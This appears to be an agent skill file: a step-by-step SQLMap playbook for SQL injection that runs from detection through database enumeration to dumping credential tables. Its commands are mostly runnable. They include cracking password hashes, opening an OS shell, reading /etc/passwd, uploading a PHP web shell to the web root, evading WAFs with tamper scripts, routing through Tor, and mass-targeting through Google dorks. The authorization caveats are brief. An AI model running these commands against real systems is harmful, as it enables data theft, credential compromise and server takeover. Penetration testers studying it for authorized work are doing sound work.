SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- Target URL: Web application URL with injectable parameter (e.g.,
?id=1) - SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
- Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
- Request File (Optional): Burp Suite captured HTTP request for POST-based injection
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Database Enumeration: List of all databases on the target server
- Table Structure: Complete table names within target database
- Column Mapping: Column names and data types for each table
- Extracted Data: Dumped records including usernames, passwords, and sensitive data
- Hash Values: Password hashes for offline cracking
- Vulnerability Report: Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
bash# Add single quote to break query http://target.com/page.php?id=1' # If error message appears, likely SQL injectable # Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan
bash# Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch # With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases
bashsqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
bashsqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
bashsqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
bashsqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns
bashsqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump Entire Database
bashsqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
bash# Save Burp Suite request to file, then: sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File
bash# Feed log file with multiple requests sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File)
bash# Create file with URLs, one per line: # http://target1.com/page.php?id=1 # http://target2.com/page.php?id=2 sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution)
bash# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY) sqlmap -g "inurl:?id= site:yourdomain.com" --batch
Quick Reference Commands
Database Enumeration Progression
| Stage | Command |
|---|---|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
Supported Database Management Systems
| DBMS | Support Level |
|---|---|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
SQL Injection Techniques
| Technique | Description | Flag |
|---|---|---|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | --technique=E |
| UNION query-based | Uses UNION to append results | --technique=U |
| Stacked queries | Executes multiple statements | --technique=S |
| Out-of-band | Uses DNS or HTTP for exfiltration | --technique=Q |
Essential Options
| Option | Description |
|---|---|
-u | Target URL |
-r | Load HTTP request from file |
-l | Parse targets from Burp/WebScarab log |
-m | Bulk file with multiple targets |
-g | Google dork (use responsibly) |
--dbs | Enumerate databases |
--tables | Enumerate tables |
--columns | Enumerate columns |
--dump | Dump table data |
--dump-all | Dump all database data |
-D | Specify database |
-T | Specify table |
-C | Specify columns |
--batch | Non-interactive mode |
--random-agent | Use random User-Agent |
--level | Level of tests (1-5) |
--risk | Risk of tests (1-3) |
Constraints and Limitations
Operational Boundaries
- Requires valid injectable parameter in target URL
- Network connectivity to target database server required
- Large database dumps may take significant time
- Some WAF/IPS systems may block SQLMap traffic
- Time-based attacks significantly slower than error-based
Performance Considerations
- Use
--threadsto speed up enumeration (default: 1) - Limit dumps with
--startand--stopfor large tables - Use
--techniqueto specify faster injection method if known
Legal Requirements
- Only test systems with explicit written authorization
- Google dork attacks against unknown sites are illegal
- Document all testing activities and findings
- Respect scope limitations defined in engagement rules
Detection Risk
- SQLMap generates significant log entries
- Use
--random-agentto vary User-Agent header - Consider
--delayto avoid triggering rate limits - Proxy through Tor with
--torfor anonymity (authorized tests only)
Examples
Example 1: Complete Database Enumeration
bash# Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch # Result: acuart database found # Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch # Result: users, products, carts, etc. # Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch # Result: username, password, email columns # Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
Example 2: POST Request Injection
bash# Save Burp request to file (login.txt): # POST /login.php HTTP/1.1 # Host: target.com # Content-Type: application/x-www-form-urlencoded # # username=admin&password=test # Run SQLMap with request file sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
Example 3: Bulk Target Scanning
bash# Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt # Scan all targets sqlmap -m bulkfile.txt --dbs --batch
Example 4: Aggressive Testing
bash# High level and risk for thorough testing sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3 # Specify all techniques sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
Example 5: Extract Specific Credentials
bash# Target specific columns sqlmap -u "http://target.com/page.php?id=1" \ -D webapp \ -T admin_users \ -C admin_name,admin_pass,admin_email \ --dump --batch # Automatically crack password hashes sqlmap -u "http://target.com/page.php?id=1" \ -D webapp \ -T users \ --dump --batch \ --passwords
Example 6: OS Shell Access (Advanced)
bash# Get interactive OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch # Execute specific OS command sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch # File read from server sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch # File upload to server sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Troubleshooting
Issue: "Parameter does not seem injectable"
Cause: SQLMap cannot find injection point Solution:
bash# Increase testing level and risk sqlmap -u "URL" --dbs --batch --level=5 --risk=3 # Specify parameter explicitly sqlmap -u "URL" -p "id" --dbs --batch # Try different injection techniques sqlmap -u "URL" --dbs --batch --technique=BT # Add prefix/suffix for filter bypass sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Issue: Target Behind WAF/Firewall
Cause: Web Application Firewall blocking requests Solution:
bash# Use tamper scripts sqlmap -u "URL" --dbs --batch --tamper=space2comment # List available tamper scripts sqlmap --list-tampers # Common tamper combinations sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase # Add delay between requests sqlmap -u "URL" --dbs --batch --delay=2 # Use random User-Agent sqlmap -u "URL" --dbs --batch --random-agent
Issue: Connection Timeout
Cause: Network issues or slow target Solution:
bash# Increase timeout sqlmap -u "URL" --dbs --batch --timeout=60 # Reduce threads sqlmap -u "URL" --dbs --batch --threads=1 # Add retries sqlmap -u "URL" --dbs --batch --retries=5
Issue: Time-Based Attacks Too Slow
Cause: Default time delay too conservative Solution:
bash# Reduce time delay (risky, may cause false negatives) sqlmap -u "URL" --dbs --batch --time-sec=3 # Use boolean-based instead if possible sqlmap -u "URL" --dbs --batch --technique=B
Issue: Cannot Dump Large Tables
Cause: Table has too many records Solution:
bash# Limit number of records sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100 # Dump specific columns only sqlmap -u "URL" -D db -T table -C username,password --dump --batch # Exclude specific columns sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
Issue: Session Drops During Long Scan
Cause: Session timeout or connection reset Solution:
bash# Save and resume session sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session # Resume from saved session sqlmap -u "URL" --dbs --batch --resume # Use persistent HTTP connection sqlmap -u "URL" --dbs --batch --keep-alive
